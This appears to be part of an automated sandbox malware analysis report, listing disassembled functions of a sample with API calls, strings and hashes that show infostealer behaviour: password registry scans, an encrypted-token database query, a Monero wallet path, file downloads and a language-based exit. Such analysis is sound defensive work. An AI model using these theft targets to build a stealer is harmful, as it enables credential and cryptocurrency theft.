Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 453d9772eb43b2704f28d88fd4024e7860d093b3c917eae077b7ee35c0118e79
Instruction ID: ca73b758eb7d291b7d61d7eeb88d2e0a42187133ddb9a9e00f399f16605ac8fa
Opcode Fuzzy Hash: 453d9772eb43b2704f28d88fd4024e7860d093b3c917eae077b7ee35c0118e79
Instruction Fuzzy Hash: 0D318772D20109DBCB19EBA5DC95EFE7378AF55301B504018F106A7290CB34AA5BDF62

Function 002F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0132EA38,00000000,?,00300E2C,00000000,?,00000000), ref: 002F8130
RtlAllocateHeap.NTDLL(00000000), ref: 002F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 002F8158
__aulldiv.LIBCMT ref: 002F8172
__aulldiv.LIBCMT ref: 002F8180
wsprintfA.USER32 ref: 002F81AC

Strings

%d MB, xrefs: 002F81A3
@, xrefs: 002F814D

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: e354c33b4622efad88d7362a8ca821de552cfa65eee70b0a5af80e8b619acc93
Instruction ID: ce513f3b60ec6cfc6b13d84ba25582003d27e321e39a54cfa0d8203525d3d2fd
Opcode Fuzzy Hash: e354c33b4622efad88d7362a8ca821de552cfa65eee70b0a5af80e8b619acc93
Instruction Fuzzy Hash: F42127B1E54208ABDB10DFD4CC49FAEF7B8EB48B40F104219F705AB280D7B869158BA5

Function 002E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

Part of subcall function 002E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 002E4839
Part of subcall function 002E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 002E4849

InternetOpenA.WININET(00300DF7,00000001,00000000,00000000,00000000), ref: 002E610F
StrCmpCA.SHLWAPI(?,0132F360), ref: 002E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 002E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 002E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 002E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 002E6249
InternetCloseHandle.WININET(?), ref: 002E6253
InternetCloseHandle.WININET(00000000), ref: 002E6260

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: f0fc27553d0072877a821f0eb0a24eee9ce1d7bb48c0d75a054f848b7d3c3c6a
Instruction ID: a357e9fe89a9d80c81948f67d92c969ca04d5e79daff2a6588e42d8f2dbe45ce
Opcode Fuzzy Hash: f0fc27553d0072877a821f0eb0a24eee9ce1d7bb48c0d75a054f848b7d3c3c6a
Instruction Fuzzy Hash: 6351B2B1950209ABDF20DF51DC49BEEB7B8EF14740F4080A8B709A71C0DBB46A99CF95

Function 002E72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 002E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 002E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 002E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 002E7452
HeapFree.KERNEL32(00000000), ref: 002E7459
task.LIBCPMTD ref: 002E7555

Strings

Password, xrefs: 002E7401

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: f4a23e9eb93533f0b7054a52ba92c65f700de5852eab8b64dbc2a90c47c3694f
Instruction ID: 50135a90ec1f44d7df87e7734ac05e1ed9c088c054e62442349cc33c6a5b2556
Opcode Fuzzy Hash: f4a23e9eb93533f0b7054a52ba92c65f700de5852eab8b64dbc2a90c47c3694f
Instruction Fuzzy Hash: 8A614CB58502989BDB24DF50CC51BDAB7B8BF44300F4081E9E689A6181EBB05FD9CFA1

Function 002EBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002FA740: lstrcpy.KERNEL32(00300E17,00000000), ref: 002FA788

Part of subcall function 002FA9B0: lstrlen.KERNEL32(?,01328BA0,?,\Monero\wallet.keys,00300E17), ref: 002FA9C5
Part of subcall function 002FA9B0: lstrcpy.KERNEL32(00000000), ref: 002FAA04
Part of subcall function 002FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 002FAA12

Part of subcall function 002FA920: lstrcpy.KERNEL32(00000000,?), ref: 002FA972
Part of subcall function 002FA920: lstrcat.KERNEL32(00000000), ref: 002FA982

Part of subcall function 002FA8A0: lstrcpy.KERNEL32(?,00300E17), ref: 002FA905

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

lstrlen.KERNEL32(00000000), ref: 002EBC9F

Part of subcall function 002F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 002F8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 002EBCCD
lstrlen.KERNEL32(00000000), ref: 002EBDA5
lstrlen.KERNEL32(00000000), ref: 002EBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 002EBBEB
AccountTokens, xrefs: 002EBB49
AccountTokens, xrefs: 002EBABA
AccountId, xrefs: 002EBCC4

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 03d8ebdfa6cb1f217a7531c24a31534858160c2f24fae08b6390a372dfb4ce32
Instruction ID: d3c63fdbf1bf32c7c52612be3ea3c2b30e1766199e448b177675b95de9fe74d9
Opcode Fuzzy Hash: 03d8ebdfa6cb1f217a7531c24a31534858160c2f24fae08b6390a372dfb4ce32
Instruction Fuzzy Hash: 30B124B192010C9BDB14FBA0DD56DFEB378AF54780F404178F60AA6091EF746A69CF62

Function 002F6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 002F6774
ExitProcess.KERNEL32 ref: 002F67A5
ExitProcess.KERNEL32 ref: 002F67AF
ExitProcess.KERNEL32 ref: 002F67B9
ExitProcess.KERNEL32 ref: 002F67C3
ExitProcess.KERNEL32 ref: 002F67CD

Strings

*, xrefs: 002F678C

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: d1ce8044161a785537e28236497fb8b0f7627a7eb3302d2e3c2bfe3249ece6c8
Instruction ID: b1dcbfef014feeb2b22bbb5b261b872f53c49222559373d1596f33e25462c7bf
Opcode Fuzzy Hash: d1ce8044161a785537e28236497fb8b0f7627a7eb3302d2e3c2bfe3249ece6c8
Instruction Fuzzy Hash: AFF03A30904209EFD354AFE0A90DB2CBB70FF26702F0801A8E609C6290D6704A53AB9A

Function 002E4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 002E4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 002E4FD1
InternetOpenA.WININET(00300DDF,00000000,00000000,00000000,00000000), ref: 002E4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 002E5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 002E5041
InternetCloseHandle.WININET(?), ref: 002E50B9
InternetCloseHandle.WININET(?), ref: 002E50C6

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 6dbbe66e7ca0969682d750be9bf5dfb4ab2428b45414bc4639ddce4ca9af1aa2
Instruction ID: bd593ed05cc1aa8816a72647f152b947350283c463923d0dfc00b221c2cdef48
Opcode Fuzzy Hash: 6dbbe66e7ca0969682d750be9bf5dfb4ab2428b45414bc4639ddce4ca9af1aa2
Instruction Fuzzy Hash: 863108B5A50218ABDB20CF54DC85BDCB7B4EB48704F5081E9F709A7281C7B06AC59F99

Function 002F83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 002F8426
wsprintfA.USER32 ref: 002F8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 002F847B
RegCloseKey.ADVAPI32(00000000), ref: 002F848C
RegCloseKey.ADVAPI32(00000000), ref: 002F8499

Part of subcall function 002FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 002FA7E6

RegQueryValueExA.ADVAPI32(00000000,0132E948,00000000,000F003F,?,00000400), ref: 002F84EC
lstrlen.KERNEL32(?), ref: 002F8501
RegQueryValueExA.ADVAPI32(00000000,0132E9D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00300B34), ref: 002F8599
RegCloseKey.ADVAPI32(00000000), ref: 002F8608
RegCloseKey.ADVAPI32(00000000), ref: 002F861A

Strings

%s\%s, xrefs: 002F844D

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: d4cae0af9ca8cd35b8f557a9bbcd716079f75fd92cc17eff268eda6d434104dc
Instruction ID: c8406b0d39b9319ef063c336e0b1641df9db998c0f41831c375805bbed06c522
Opcode Fuzzy Hash: d4cae0af9ca8cd35b8f557a9bbcd716079f75fd92cc17eff268eda6d434104dc
Instruction Fuzzy Hash: 5421A7B191021C9BDB24DB54DC85FE9B7B8FB48700F0085A9A60996140DE716A86CF94

Function 002F7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F76A4
RtlAllocateHeap.NTDLL(00000000), ref: 002F76AB
RegOpenKeyExA.ADVAPI32(80000002,0131BB98,00000000,00020119,00000000), ref: 002F76DD
RegQueryValueExA.ADVAPI32(00000000,0132E9C0,00000000,00000000,?,000000FF), ref: 002F76FE
RegCloseKey.ADVAPI32(00000000), ref: 002F7708

Strings

Windows 11, xrefs: 002F76BD

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 9f13abf6c65f32b1fc0326d7fdc194557a9f14768ad5d9401ae13c0b8e861510
Instruction ID: c3a128b482988fe46eeccbd2135b1329d6e82b0b68738d97afc533e38ef94893
Opcode Fuzzy Hash: 9f13abf6c65f32b1fc0326d7fdc194557a9f14768ad5d9401ae13c0b8e861510
Instruction Fuzzy Hash: 56018BB5A10209BBEB10EBE0DC49FBAB7B8EF18701F104464FB04D7290E6B099099B51

Function 002F7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002F7734
RtlAllocateHeap.NTDLL(00000000), ref: 002F773B
RegOpenKeyExA.ADVAPI32(80000002,0131BB98,00000000,00020119,002F76B9), ref: 002F775B
RegQueryValueExA.ADVAPI32(002F76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 002F777A
RegCloseKey.ADVAPI32(002F76B9), ref: 002F7784

Strings

CurrentBuildNumber, xrefs: 002F7771

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: d152f5e7eb36504460528d6caa95ac30c5af604521258c6fe9a9181cf560af4d
Instruction ID: 9e3ce37fe4dd97d66013689003e941d1795fbe930928f58f774b5b9f89f39ee4
Opcode Fuzzy Hash: d152f5e7eb36504460528d6caa95ac30c5af604521258c6fe9a9181cf560af4d
Instruction Fuzzy Hash: 5C014FB5A40309BBEB10DBE0DC4AFBEB7B8EF58700F104558FA05A7281DA706A059B51

Function 002F92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:/,80000000,00000003,00000000,00000003,00000080,00000000,?,002F3AEE,?), ref: 002F92FC
GetFileSizeEx.KERNEL32(000000FF,:/), ref: 002F9319
CloseHandle.KERNEL32(000000FF), ref: 002F9327

Strings

:/, xrefs: 002F92F8, 002F92FB
:/, xrefs: 002F9311, 002F933D, 002F9314

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
